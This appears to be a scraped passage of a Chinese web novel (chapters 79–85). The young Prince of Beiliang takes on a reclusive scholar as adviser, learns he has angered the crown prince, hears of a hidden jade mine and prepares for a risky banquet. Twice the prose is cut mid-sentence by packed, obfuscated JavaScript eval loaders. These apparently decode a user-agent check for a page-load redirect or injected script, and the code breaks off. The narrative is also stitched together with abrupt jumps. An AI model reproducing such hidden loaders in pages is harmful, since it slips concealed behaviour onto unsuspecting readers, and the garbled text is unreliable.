“先生请随我一起用饭。”沈凡做了个请的动作,带着老者和黄狗径来到了小饭堂。 应该是水仙心疼自己办差辛苦,这桌饭菜弄得很丰盛,有鱼,有炖肉,有干菜,还有坛香甜的桂花酒。 “老先生不要客气,请坐。”沈凡指了指主坐左侧的椅子道。 老者也不客气,一屁股坐上去。拿起碗筷就吃了起来。 沈凡坐下后没有急着吃,从菜盆里捞出一块带骨头的肉,放在黄狗面前。 黄狗“哈嗤哈嗤”闻着,口水顺着嘴都流了出来,闻两下看一眼沈凡,就是不敢下嘴。 老者道:“大黄灵性的很,王爷不说话它不敢吃。” 沈凡笑了笑,想起白天这狗将炊饼给老者的事,对它的好感又多了几分,说道:“大黄,吃吧。” 大黄兴奋的哼了声,这才用前爪摁住肉骨头,狼吞虎咽吃了起来。 在看老者,对桌子上的鱼和干菜就啥兴趣,味道浓郁,甘甜肥美的炖肉才是他的目标。 也不管沈凡同不同意,直接把一盆肉端到面前,又觉得筷子碍手,干脆直接上手吃起来。 “你这人怎么这样,叫我家王爷怎么吃?”水仙道。 要不是沈凡在,她一定会把‘连狗都不如’的话说出来。 人老奸马老滑……老者从水仙嫌弃的神情上已是猜到了几分,老脸微微一红,把手上拿着的肉骨头递给沈凡道:“王爷,这块给您。” 沈凡笑着摆手道:“你吃,我吃鱼。” “这可是王爷不吃!”老者撇了眼水仙道,继续闷头吃肉。 “你……”水仙气得一叉腰。 “给我盛碗饭。”沈凡见状对水仙道。 水仙撅着嘴盛了碗饭放在桌子上,又细心的把那盘鱼挪到沈凡身前。 沈凡拿起筷子,看向这条大鲤鱼。 要说水仙的厨艺是越来越好了,鱼是用菜油煎过的,再上锅蒸熟后撒上葱姜,可以说是香气逼人。 沈凡只是用筷子在鱼腹上戳了一下,细致的鱼皮就立刻爆开,露出里面洁白如玉的嫩肉。 吃了口赞道:“很好,非常鲜!” 水仙心情瞬间变好,笑道”那您就多吃些。” 说完,又嫌弃地看了老者一眼。 第八十章:你到底是什么人 “老先生,您吃点鱼。”沈凡对那老者道。 “不吃不吃,此物吃快了扎嗓子。”老者头也不抬的道。 此时他已经把一盆炖肉都吃完了,啃完的骨头给了黄狗。 可这还没完,又将饭盆里的米饭全倒进肉盆里,拿起筷子大力搅拌几下,捧着盆继续猛吃。 一时间,桌子上的老者和桌子下的黄狗,同时发出“呜呜”的声响。 看着已经吃饱了的沈凡又觉得有些饿了,可米饭已经被老者包圆,只能干吃鱼。 当沈凡把鱼吃得只剩鱼骨时,老者也把一盆米饭烩肉汤吃完。 “够不够,不够的话我让水仙再去取饭。”沈凡问道。 “不用了,再吃会撑死的。”老者打了个饱嗝道,随手从桌子上拿起一根鱼刺剔起了牙。 与此同时,桌子下的黄狗也打了个饱嗝,抬头看向沈凡的眼神里充满了温柔。 看着老者剔牙的样子,简直比自家王爷还王爷,忍无可忍的水仙开口问道: “我说老先生,洗也洗了,吃也吃了,该回我家主子的话了吧?” 老者看了眼水仙道:“小姑娘,身为王府的内宅大总管,应该有容人之心。 急什么,给老夫倒杯酒在说。” “你……”水仙刚要发火,却发现沈凡正笑着对自己示意,只好给老者倒了杯酒。 老者饮了口后,这才看向沈凡道:“老夫的耳朵根子长了些,听见了三件事。 第一件是兵部参将朱淘利贪污,第二件是巾帼将军和郑天泽用兵过狠,第三件事是西北道有可能出现的贪腐,不知老夫说的对不对?” 沈凡点头道:“不错。” 心中却再次提醒自己,以后说话时真得加小心! 老者道:“这第一件事嘛,按王爷所说,皇上已有定论且不论。 第三件事还未查出真相,也不论。 刚才老夫说王爷固然干练,可恐却招来祸事,指的是第二件事。” “什么意思?”沈凡不解的问。 老者笑了笑道:“以王爷现在的地位,加上有皇上和丹阳公主的信任,按理说在朝堂上已无大的威胁。 可就是这第二件事,恰好让王爷在不经意间得罪了一个大人物。” 得罪了大人物……沈凡心里一动,想到了刚才丹阳公主派张凤报信的事,问道:“老先生是说,郑天泽的爷爷安国公?” 安国公……老者端杯的手顿了下道:“安国公威胁王爷了?” 沈凡想了想,觉得老者已经知道了很多事,安国公的事也没必要瞒他,就像张凤报信的事说了。 老者听完后明显吃了一惊,自言自语道了句:“这个老家伙,现在还是这么豪横!” 沈凡道:“老先生似乎很了解安国公。” 老者道:“谈不上了解,不过此人的人性倒是略知一二。 看似四朝老臣,实则仗着那点儿功劳自负得很,还心胸狭窄,要不是能活,在开国功臣里算不上什么。” 说到这里时,老者的脸上现出了不削的神情。 一直在旁边听着的水仙,这时才发现自家王爷对他这么客气的原因,这个老者还真不像骗吃骗喝的人,插话道: “老先生,您认为我们王爷明日应该去赴宴么?” 沈凡看向老者,也想知道他怎么说? 老者却没有回答,而是问道:“王爷是想去还是不想去?” “怎么说?”沈凡道。 “王爷若是不去,就没什么说的,不过王爷若是想去,老夫倒可以用阳谋对付安国公的阳谋。” 阳谋对付阳谋……沈凡来了兴趣,回道:“我会去。” 老者道:“那就请王爷把丹阳公主也请去,有公主殿下在,安国公自不敢造次。” 水仙眼睛一亮,看向沈凡道:“王爷,这主意好。” 沈凡道:“老先生的法子我不想用,一来这件事还不能肯定,二来安国公请的是我,带上丹阳公主……” 沈凡说到这就不说了,只是摇摇头。 “王爷不怕吗?”老者问。 沈凡微微一笑道:“怕我就不配继承北凉王,听老先生刚才的话风,似乎说我得罪的那个人不是安国公?” 老者的眼里现出几分欣赏道:“王爷说的没错,老夫说的那个人并非是安国公,因为与那个人比,他实在算不上什么。” “谁?”沈凡问道。 老者的语气突然变得冰冷:“当今太子殿下。” “这怎么可能?”沈凡凝视老者道:“我只是个外姓王,素与太子无瓜葛,在说太子如今是监政,地位稳固的很。” 老者呵呵一笑道:“这不怪王爷,毕竟王爷刚涉足朝局,这里的事可是错综复杂的很。” 沈凡:“我还是不明白老先生的意思。” 沈凡是真不明白,太子是高高在上的储君,自己只是个小王爷,还是个无权无势的小王爷,怎么就得罪他了? 老者道:“老夫想问王爷一件事,刚才您说郑天泽和巾帼将军并没有获罪,只是被罚俸留任,是不是太子向皇上求了情?” 沈凡一惊,问道:“老先生怎么知道的?” 老者道:“猜的,是不是吧?” 沈凡道:“不错,是太子向皇上求的情。” 老者笑道:“那皇上当时是不是犹豫了,然后才准了太子的请求。” 沈凡用难以至信的眼神打量着老者,感觉就像是见了鬼,问道:“你又怎么知道的?” 老者的脸上依旧挂着笑道:“还是猜的,请问王爷是不是吧?” “是,当时皇上是想了一下。”沈凡道。 “这就对了。”老者脸上的笑容渐渐退去道:“自古帝王皆多疑,太子的地位越稳,他们父子间的相疑也就越重。 所以太子才拼命笼络当朝的臣子,所以才会为巾帼将军和郑天泽求情。 而王爷刚好查到了他们二人的用兵过狠之罪,王爷您说您此举是不是招来了祸事?” 说到这老者喝了口酒,然后又继续道:“且王爷刚才说了安国公的事,如此看来安国公已经是太子的人了。” 沈凡手一颤,杯里的酒差占泼洒出来,盯视着老者道:“你到底是什么人?” 老者手捻须髯道:“还是那句话,老夫姓苏,来王爷这只是报恩,至于是什么人嘛,不提也罢。” 第八十一章:当世第一隐儒 老者的一席话点醒梦中人,沈凡豁然明白了,王灵瑶、郑天泽都是太子的人。 自己刚涉入朝局一天,这些事不知道、想不到也属正常,可丹阳公主那小娘们也看不出来? 不对,就算那小娘们聪明绝顶,可这里的事她还真看不清。 因为她没有皇位继承权,不会往这上面想。 我去,真没想到第一天当差就得罪了太子! 沈凡虽是个天不怕地不怕的性子,可得罪了当今太子却不一样,心下难免惊恐,看向老者道:“不知老先生可有破解之法?” 老者目光幽幽盯着烛火良久,又从烛火上移到沈凡身上道: “罢了,就冲王爷为那些死难军士的家属如此劳神费力,老夫就送给王爷下中上三策。” “请讲。”沈凡神情恭维的道。 老者道:“老夫给王爷的下策是去找太子,告诉他会死心塌效忠。 不过据老夫所知,太子虽有雄才但心胸狭窄,王爷就算依附于他恐也难被重用。” 沈凡皱了皱眉道:“效忠太子是国之大本,但如果太子如您所说心胸狭窄,就算我依附于他,恐也没有什么好下场。 更何况他为了结党竟罔顾国法,我是不会答应的,请问中策是什么?” 老者看向沈凡欣慰的点点头道:“老夫的中策是辞去王爵,远遁海外。做个逍遥客。” 沈凡被这话说得一乐道:“我继承的是父王的爵位,他生前常教导我要报效国家,岂能因这种事就做缩头乌龟? 请问老先生,上策是什么?” 老者再次看向沈凡点点头道:“老夫上策是条艰难之路,那就是拥护当今皇上的同时,将王爷的势力做大做强。 如果太子是贤明之君,扶之。 如果太子不是贤明之君,就算他登基了,凭着王爷的那时的势力,他也不敢轻易动王爷,到时进可攻退可守。” 就在沈凡咀嚼着老者的话时,水仙不干了,指着老者质问道: “你胡说什么,这不是在纵容我家王爷造反吗?” “不要乱讲。”沈凡看向水仙道:“老先生的意思不是让我造反,而是给我指了一条自救之路。” “哈哈哈……”老者突然纵声大笑道:“王爷睿智,老夫果然没有看错人!” 什么叫没看错人……沈凡听到这话心中警觉。 自己想的没错,这老者报恩只是借口,有所图才是目的,问道:“老先生这是何意?” 不想老者却道:“在回王爷话前,老夫要问王爷一个问题,那就是您刚才说的要报效国家,不知要如何报效?” 沈凡神情严肃的道:“捐躯赴国难,视死忽如归。” 老者颤颤巍巍起身,对着沈凡施礼道:“从为军属抚恤一事老夫就看出来了,王爷是胸有大志之人,也是忧国忧民之人。 如今看似太平盛世,实则内忧外患。 内有诸侯王与勋贵势力强大,严重威胁皇权,地方豪强地主兼并土地,私人铸币和垄断盐铁,聚敛财富,横行乡里。 外有突厥不断侵扰边境,威胁国家安危,朝廷正需要王爷这种年轻有为之人力挽狂澜。” 沈凡望着老者道:“既然老先生这么说,现在可将身世告诉我了吧?” 老者抚须笑了声道:“既如此老夫就不瞒王爷了,老夫姓苏,名术,衢州人士。” 沈凡一惊道:“可是做了那首卜算子.自嘲的苏术?” 老者听到这话时,眼中光芒一闪道:“王爷知道老夫这首词?” 沈凡随口吟道:“本是后山人,偶做前堂客,醉舞经阁半卷书,坐井说天阔。 大志戏功名,海斗量福祸,论到囊中羞涩时,怒指乾坤错……没想到,您竟是号称天下第一隐儒的苏先生!” “王爷,我怎么没有听过什么天下第一隐儒?”一旁的水仙问道。 沈凡道:“你才读过几本书,这位苏先生早在五十年前就已名满天下,号称我大夏朝第一儒者。 只可惜仕途坎坷,纵是聪明绝顶也是明珠暗投,所以被誉为第一隐儒。” “聪明绝顶?”水仙上下打量着苏术。 见水仙的眼神里带着不信,沈凡道:“我曾在一本杂记上看过,说苏先生六岁时,半个时辰内就把三字经和千字文倒背如流。” “这怎么可能?”水仙的眼神更加难以置信,看向苏术问道:“这一定是传说对不对?” 她问这话是有理由的。 自己曾经在王爷的强迫下也背过三字经和千字文,结果背了一个多月才勉强背会,还大多不解其中的意思。 此时的沈凡也看向苏术,其实他也不太信野史上记载的这些。 自己在六岁时也背过三字经和千字文,记得当时用了近两个时辰才背会,母亲还夸自己是神童转世。 这个苏术能在半个时辰就背下来,简直让人有些气愤。 看着主仆二人探寻的目光,苏术道:“都是过去的事了,不过当年不是用了半个时辰,只是先生念了一遍我就会了。” 随即又苦笑一声道:“可这又能如何,自老夫十六岁以后就仕途坎坷,二十岁后更是得罪了权贵,乃至落魄半生。” 闻听此言的沈凡神色黯然下来道:“这么说,传言当年您参加科举遭主考官贿赂,您没有从流,反而告了他,结果得罪了权贵是真的?” “不错。”苏术道:“虽如此,老夫依然是位卑而不敢忘忧国,可左突右冲几十年下来还是舟困浅滩。 直到今日结识了王爷,才知这世上还有和老夫一样不惧权贵之人,忧国忧民之人。 如若王爷不嫌弃,老夫愿用一生所学,助王爷成就一番春秋大业!” ……捡到宝了,若是能得到这位隐士大儒的相助,何愁北凉王府不能崛起? 沈凡上前两步深施一礼道:“蒙先生器重,我则以弟子之礼待之。” “王爷先别这么说,在这以前老夫还有一个要求,不知王爷能不能应允?” 沈凡一愣……见过谈条件的,没见过这么谈条件的,这老头儿还真是不简单。 “先生请讲,但凡我能办到。”沈凡道。 第八十二章:送王爷个大富贵 苏先生道:“老夫一直有个执念,那就是开一所书院。 一来将老夫平生所学传于后世,二来也可以为王爷招揽天下英才,不知王爷可否满足老夫这个心愿?” 沈凡……果然不愧是高人,连提条件都能把对自己的好处说的这样诱人,不过互惠互利才是长久相处之 道。 看着这个白发苍苍的苏术,沈凡毫不犹豫的道:“我定全力支持。” 苏先生:“那可需要很多银子。” “多少?” “后面的不说,初期买房子就至少需五千两。” “五千两!”水仙失声叫道:“您老是真敢张嘴呀,王府的地方这么大,把书院设在这里不就行了么?” 苏先生白了水仙一眼道:“若把书院设在王府,在招来那么多学子,不怕王爷被人告个图谋不轨呀?” 水仙“啊”了声,这点她真没想到。 沈凡微微一笑,对水仙伸手道:“先拿五千两银票来。” 苏先生没想到沈凡会如此大方,他刚才在洗浴的时候已经发现,这位新晋北凉王并不富裕。 不但仆人少,且府中的摆设也缺少很多。 水仙努努嘴,虽说心里不情愿,不过也看出老者的确不是一般人。 加上王爷有话,只得从袖中拿出五千两银票,不过还是道了句:“苏先生,您要是花这银子得记账。” 看着这个尽责的王府总管,苏先生笑着点点头。 沈凡接过银票,放在苏先生面前的桌子上道:“办书院全凭先生做主,不够再找我要。” 苏先生拿起那五两银票,只觉五内俱沸,一股酸热之气翻腾,当即对沈凡拱手施礼道: “王爷以国士待老夫,老夫也要给王爷一笔大富贵。” 听到这话,沈凡有些惊讶。 水仙则瞪大眼睛,这个老叫花子都穷成这样了,能给王爷什么富贵,还大富贵? 就见苏先生从怀里取出一物,托在手上道:“王爷,看看这东西能值多少银子?” 沈凡定睛看去,苏先生掌上托着的是一块鸟蛋大的物件,在烛火的映照下闪烁着莹莹的光芒,如美人肌肤般细腻。 “苏先生,这是块上好的羊脂白玉,要说值多少银子……单凭这块原石就能值十两银子。”沈凡看着玉石思索着又道: “不过若是有能工巧匠精雕细琢一番,价钱至少能翻十倍。” 水仙凑了过来,看着这块羊脂白玉眼中也是闪闪发光,不过却道: “王爷,就算它再值钱,也就值个百十两,算什么大富贵?” “你这个小丫头啊!”苏先生看向水仙笑问道:“如果此物多得能堆满这间屋子,你再算算能值多少银子?” “堆、堆、堆满这间屋子……怎么可能,如果有这么多美玉,你还要什么饭?”水仙略带口吃的道。 此刻,沈凡也在用难以置信的眼神看向苏先生。 苏先生将玉放在沈凡的手中道:“这块玉是三十年前,老夫郊游的时候,自京城以西百里的青岩山中所得。” 沈凡道:“青岩山我知道,是座岩石山,连树木都少,怎么会有这等美玉?” 苏先生道:“当年老夫也是这么想的,满是青石的山怎么会出如此美玉? 出于好奇便逗留了十余日,沿着发现此玉的地方一路寻找,找到了一处小山洞。 钻进去后发现竟别有洞天,里面有一条玉矿脉。 据老夫推断,此玉矿脉在地下至少纵深十余里,若开采出来,填满这间屋子根本不在话下。” “那你怎么不采出来?”水仙问。 苏先生笑了笑道:“此山虽是无主之山,但以老夫的能力怎能买得起? 就算东拼西凑买下来了,以老夫的背景也守不住,反倒会遭来杀身之祸,故此连这块玉原石也不敢示人。” 说着看向沈凡道:“王爷,您只需在恰当的时候,向皇上把青岩山讨过来,将这沉沦万年的富贵弄到手。 有了这大富贵,王爷才好壮大自身,毕竟有钱能使鬼推磨!” “哎呀!”沈凡一跺脚道:“要是早遇到先生就好了,白天的时候皇上还问我要什么赏赐。” 苏先生笑道:“无妨无妨,依老夫看西北道定有贪功冒赈之事,皇上自然还会对王爷有赏赐,到时王爷再跟皇上要此山便是。” 沈凡:“平白无故跟陛下要座荒山,日后开采时会引起他人怀疑的?” “好办。”苏先生道:“到时王爷就跟皇上说,梦见老王爷和王妃托梦给你。 说那里是块风水宝地,要将他们的衣冠冢移到那里,皇上定然应允。 然后王爷便在修坟的时候,无意间发现了玉矿,到时取不伤廉,岂不美哉!” 听着这番滴水不漏的话,沈凡心下感动,后退一步,对苏先生深施一礼道: “先生如此待我,我必当认先生为师,为先生颐养天年。” 苏先生感叹一声道:“没想到,老夫在七十有二的风烛残年,竟能与王爷有此福缘。 不过认老师就不必了,王爷能以国士待老夫,老夫自当鞠躬尽瘁!” 沈凡道:“既如此,请再受我一礼。” 言罢又深深鞠了一躬,苏先生也鞠躬还礼。 侧旁,水仙看苏先生的眼神明显发生了变化,小脑瓜子里全是这间小饭厅里堆满玉石的样子…… 这时,忽听屋外传来一阵鹰啼,声音高亢悲长。 沈凡眉头微微一皱:“怎么回事?”说着就打开房门走了出去。 水仙紧跟其后,苏先生带着黄狗也跟了出去。 沈凡来到院中,抬头向天上看去。 今日是满月,一轮皎洁的圆月挂在头顶,周围衬着点点繁星,却并未发现有鹰的踪影。 小院外传来一阵说话声,听声音很熟悉。 沈凡打开院门,就见外面的大院里,倪福、徐盛、丁奉、韩当、周泰各自拿着一张弓正抬头望天。 “你们在干什么?” 众人没想到沈凡会突然出现,忙收弓施礼。 倪福回道:“王爷,按您的吩咐已经准备好了软甲和武器,刚好看到天上有鹰盘旋,哥几个正在射鹰呢。 第八十三章:做好准备 听闻倪福在射鹰,沈凡顿时来了兴致,问道:“射下来了吗?” “不好射。”倪福道:“天太黑了,只有等鹰飞过月影时才好放箭,刚才我们射了几箭都射空了。” 就在这时,空中再次传来一声鹰啼。 众人猛抬头看去,一只展翅的雄鹰再次出现在圆月中。 沈凡一把夺过倪福手里的弓,前腿弓,后腿蹬的同时已然拉弦上箭。 随着一声清脆弦响,一道寒光‘嗖’一下就飞了出去。 众人的目光追着寒光看去,就见圆月中的那只雄鹰忽然停顿了一下,然后就笔直下落。 “好!” 随着众人喝了声,苏先生的那条黄狗吠了声,冲着墙根扑了过去。 紧接着叼着一只鹰隼跑回来,将鹰隼软塌塌丢在地上,用头不断蹭沈凡的腿邀功。 “月下射苍鹰,风劲角弓鸣——王爷果然是少年英豪!”侧旁传来了苏先生的感叹。 这感叹也吸引了倪福众人的注意,他们这时才发现,那个衣衫褴褛的老头已是变了个人。 高大纤瘦的身子屹立在月光下,蓝色的长衫和白发在寒风中微微飘荡,给人以一种世外高人的感觉。 看到众人惊讶的神色,沈凡将弓丢还给倪福道:“你们知道这位苏先生是何人么,他就是当世第一隐儒苏术先生。” 见倪福几人面露茫然,沈凡这才反应过来,这些武夫哪知道文人界的名人,就将苏术的身世简单说了一遍。 倪福众人这才知道眼前的是位大儒,纷纷对其施礼,神情很是恭敬。 这是有原因的,自大夏立国以来,重文轻武的观念已然根深蒂固,让他们这些武夫对读书人有种敬畏感。 沈凡继续道:“我还要宣布件事,从今日起,苏先生就是北凉王府的师爷,也是我的幕僚。 诸位要像尊重我一样,尊重苏先生。” 此言一出,众人皆森然。 虽不知原因,可既然是王爷定下的事,自没有话说,再次纷纷对着苏术施礼。 苏先生对众人微微一笑道:“诸位不必客气,老夫也是蒙王爷抬爱,还望诸位多多照扶。 还有,王爷答应老夫要办座书院,俗语云近水楼台先得月,诸位有子女的,都要将其送到书院来读书。” 倪福几人面面相看,明显是被这话给惊到了。 说心里话,他们何尝不想让孩子读书,以后有出息,何况是这位当世大儒亲授。 可他们还是有些顾虑……倪福探视着问:“苏先生,您是说子女都行吗,我有一儿两女,两个女儿也能读书?” 苏术不答,看向沈凡道:“王爷,您以为女娃可以读书么?” 沈凡明白,苏先生这是在探听自己对女子读书的看法,笑了笑道: “自然,女子读书可辨明理,我给水仙也报个名。” “还有我呀!”水仙叫道。 沈凡知道她最不喜读书了,神情一肃道:“你是王府总管,总不能斗大字不认一筐吧,必须有你。” “是。”水仙哭丧着小脸道。 “王爷明鉴。”苏先生赞了句,看向倪福几人道:“三岁以上都要来,女娃就像王爷说的,可让她们辨明理。 至于男娃嘛……老夫可保他们学成后大小考个公名。” 众人自是高兴,徐盛想到了什么,在倪福耳边嘀咕了句。 “对对,差点儿把这事忘了。”倪福看向苏先生问:“不知学费怎么收?” 苏先生想了想道:“一个孩子每年每人纹银十两。” 倪福、徐盛几人面露难色。 要知道,自古以来限制人读书的最大障碍就是学费,除了学费,还需支付书籍、文具等费用。 一般孩子至少要念三年才能参加童试,从童生到学子,再从学子到秀才这得多少银子? 倪福他们最少都有两个孩子,韩当更是生了六个,每年至少一下子拿出六十两银子,可不是他能负担起的。 可当着苏先生的面又不好说出来,几人的脸都是一僵,韩当则皱眉低下了头。 沈凡自看出了他们的想法,呵呵一笑道:“你们不要担心,学费我替你们交了。 告诉孩子们用心读书就是,只要他们能学,我就能一直掏银 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沈凡接过这把精铁打造的**看了看,问道:“你们也都配上软甲了吗?” “是的。”徐盛几人齐声回道。 倪福更是将衣服的前襟拉开,亮出了里面的软甲,还拍了拍腰刀和挂在腰带上的一个圆盾道:“我等都准备好了。” 沈凡指着圆盾问:“这盾也太小了些吧?” 问着话是有原因的,因为这盾还不到普通盾牌的十分之一大,只够挡住头颈。 倪福道:“不小不行呀,我们总不能带着大盾去。 不过王爷别小看了这盾,它小是小些,可厚实的很,有了软甲和它,小人往王爷身前一站不逊于盾牌。” 说着还背对着沈凡站定,右手持刀,将圆盾扣在左腕护住头颈,两只眼睛从圆盾的上半部露出来,腰刀向前一挥,带出一阵破空声。 “没错,我们也是。”徐盛,丁奉,韩当和周泰也纷纷道,亮出了腰间的小盾牌。 第八十四章:艳姑姑的牺牲 这几人是要给自己当肉盾呀……沈凡心中一阵感动。 这时就听旁边传来了苏先生的嗓音:“听闻安国公最擅长的兵器,是一对重达近一百二十斤的铁锤,一锤就能将你们的盾牌砸碎,所以此物并无大用。” 倪福听到这话有些不满,问道:“苏先生也懂武?” 苏先生道:“不懂武,不代表着看不出实力高低。 安国公的武功的确厉害,王爷除了年龄占优外,无论在力量武艺,还是在兵器上都不占优,不然他也不能称为我大夏第一勇士。” “那您就不要多说了,反正我们就是舍命也不会让王爷受伤的。”倪福道。 “倪伯不得这么说。”沈凡道了句,感觉苏先生似乎有什么办法,问道:“难道先生还别的法子?” 苏先生道:“没有,不过请王爷放心,以老夫所见,明日这场比武安国公是万不敢伤了王爷的。” “为何?”沈凡问。 苏先生笑道:“王爷这般聪明,难道真想不出来,除了这里的诸位外,还有谁惦记着王爷的安危?” 沈凡只觉灵台一亮道:“您是说……” “哎。”苏先生打断沈凡笑道:“既然王爷已经猜出来了,就不要说出来,万一老夫说错了岂不没面子?” “哈哈哈……”沈凡也笑了起来,感觉和聪明人打交道就是舒服。 “王爷,你们这是在打什么哑谜?”倪福问。 沈凡摆摆手道:“没什么,吩咐下去给苏先生腾出一间上房,你们也早些休息,明日随我去赴宴。” …… 与此同时,丹阳公主府内。 艳姑姑、张凤已经分别将自己的差事向丹阳公主做了禀告。 丹阳公主对沈凡收银票的事已经不感兴趣,看向张凤道: “北凉王就这么自视清高,你没跟他说,安国公可是以一敌百的猛将。” 张凤回道:“奴才说的比这还厉害,把当年看到安国公战场杀敌的事都向北凉王说了。 可他却说不惹事但也不怕事,还说不一定谁死呢?” “这小子真这么说的?”丹阳公主道。 张凤点点头。 “不知天高地厚的小子,连本宫的话都不听了,活该他被算计!”丹阳公主气呼呼的道。 眼见公主生气,艳姑姑还真怕她不管沈凡了。 一来她对这位小主最是了解,从这话就能看出来主子是在意沈凡的。 如果自己不劝劝,沈凡真要**,主子日后会怪自己没劝她的。 二来那个沈凡对自己也不错,不能不帮他一把。 想到这,艳姑姑道:“殿下,以奴婢看北凉王对您是很忠诚的。 这不,还让奴婢给您带来了他府中做的甜烧饼。” 说着走到外厅,将沈凡给的食盒拿了进来,打开取出几块放在托盘里,端到丹阳公主面前。 丹阳公主端详了一下,掰下一角品了品,又掰下一块吃了,舔舔嘴唇道:“这小子还挺有心的!” “那是。”艳姑姑道:“所以主子,北凉王自大,您可不能眼看着他去送死,还得救他一救。” 说完不由自主也舔了舔嘴唇,似乎像是在回味着烧饼的味道。 丹阳公主并没发现艳姑姑的异常,此时她的注意力都在这风味独特的烧饼上,不停小口小口吃着。 张凤见状也道:“主子,艳姑姑说的没错,是该帮北凉王一把。 奴才观这北凉王也算是少年英才,您身边得有个得力的人帮衬,就这么被稀里糊涂算计可惜了。” 丹阳公主从椅子上缓缓起身道:“你们都下去吧,容本宫想想。” 张凤和艳姑姑对视一眼,齐齐应了声“是”就退了出去。 当他们走到院外时看到,在烛火的映衬下,公主殿下的身影始终在来回踱步…… …… 沈凡回卧房的时候,已是半夜时分。 脱了衣服他想倒头便睡,好养足精神头,可辗转反复就是睡不着。 想着苏先生的话……想着太子结党……想那封匿名信到底是谁写的……折腾了好一阵才昏昏睡去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈凡的注意力被他所吸引,但见他换上了一身黑色的劲装,外面罩着宽松的大氅,腰间挂着把**蛇皮鞘的的腰刀。 第八十五章:君子是以身安可保也 看着张峰一副护院打扮,颇有些少年英雄的意思,沈凡看着欢喜,问道:“什么时候来的。” 张峰回道:“回王爷的话,小的天不亮就到了,今天算是第一天当差。” 沈凡想起了张峰所在坊间的那些军属,又问:“平安坊那些病亡将士的抚恤都发了么,娄氏怎么样?” 张峰道:“您放心吧,都发完了,娄氏也领到了她那份,高兴的不得了。” 沈凡欣慰地点点头,这才看向门外的人群问徐盛:“这是怎么回事?” 徐盛道:“前几日您不是让我们招募护卫么,昨天倪福将招募的告示贴了出去,没想到一大早就来了这么多应募的。” 看着这些精壮的汉子,沈凡忽然想到了皇家派暗卫监视的事,心不由一紧,转身往前厅走的同时道了句:“把倪伯叫来,我有话跟他说。” 不一会儿的功夫,倪福匆匆进了前厅,沈凡对他提出了招人的三个要求。 第一,没有担保人,家中富裕的人不要。 第二,年纪超过二十五,不了解底细的不要。 第三,以前给别人做过护院的不要。 听了沈凡的要求,倪福有些纳闷。 对于第一点他能理解,没有担保,家中富裕的人是不会死心塌地为王府效力的。 可对第二和第三个要求,他就不明白是什么意思了? 沈凡也不瞒他,将担心暗卫的事说了。 告诉倪福,年纪超过二十五的多都是老油条,无法保证忠诚。 至于在别人家做过护院的,这些人离开上家无外就是主家不要了,或是出了什么事,为了稳妥起见也不能要。 倪福听后深以为然,但还是说了自己的担心。 就是即使这样,也很难甄别出掺杂在里面的暗卫。 一旁的水仙听后也担心的道:“王爷,那您说奴婢买的仆人是不是也不保底?” 沈凡告诉她,以后买仆人也要遵循这些要求,不过这种事防不胜防,即使有暗卫混进来也不要过于担心。 只要你们平时多加留意,一旦发现有可疑之人要立刻上报,切勿打草惊蛇,一切由我来定夺。 水仙回道:“明白了。” 倪福道:“那小人今天就按王爷的吩咐做,不过我们中午要随您去赴宴,没人考他们。 小人想今天先给他们登记,选拔的事安排在明日。” 沈凡点头应允,问道:“选拔的内容是怎么定的?” 倪福:“先要能举起一百五十斤的石锁走十步,过了这关后,才能接受丁奉、周泰的搏击考核。 然后在经过韩当的射术考核,都过关后,请王爷面试做最终去留。” “很好,就这样办。”沈凡道:“我去安国公府的时候,你和张峰留下看家。” “王爷,小人也要跟您去。”张峰道。 沈凡看向他道:“你去干什么,领命就是。” 张峰还想说什么,被师父徐盛用眼神阻止,只得无奈地点点头。 沈凡不带张峰是有原因的,他还是个孩子,真遇到危险带着反而不方便。 眼看临近晌午,沈凡吩咐徐盛去备车。 之所以没骑马,一是自己身为王爷,赴宴还是坐车去有排面,二来可以将礼物放在车上。 至于徐盛、丁奉、韩当、周泰四人则骑马随行。 因前来应试护院的人越聚越多,沈凡就没走正门,选择从侧门出府,在水仙担心的目光中上了车,直奔安国公府。 安国公府离北凉王府较远,大概有十多里路,需经过五六个坊间。 一行人穿过热闹的街道,用了近半个时辰,才到达安国公府所在的安定坊。 沈凡撩起车帘看到,安国公府的规模很大。 两扇巨大的红漆木门紧闭,两侧屹立着的两只大号石狮子,门楣雕梁画栋,气派非凡,比自己的北凉王府大上一倍都不止。 一切都在向人证明,这是位开国功臣的府宅。 马车刚停在门口,沈凡就感到了一股杀气。 但见门口站着八个身穿蓝衣劲装,跨刀站立的壮汉。 虽然这些人没有穿铠甲,但一眼就能看出眼神里带着戾气,应该是从军营里出来的人。 只有像安国公这样战功赫赫的人,才有资格使用军队里的人,不过改了个称呼,不叫军兵叫府兵。 徐盛轻声道:“王爷,我感觉有些不对劲,门口为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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猝不及防的艳姑姑身子如触电般一抖,感到放弃那么好吃的烧饼很值。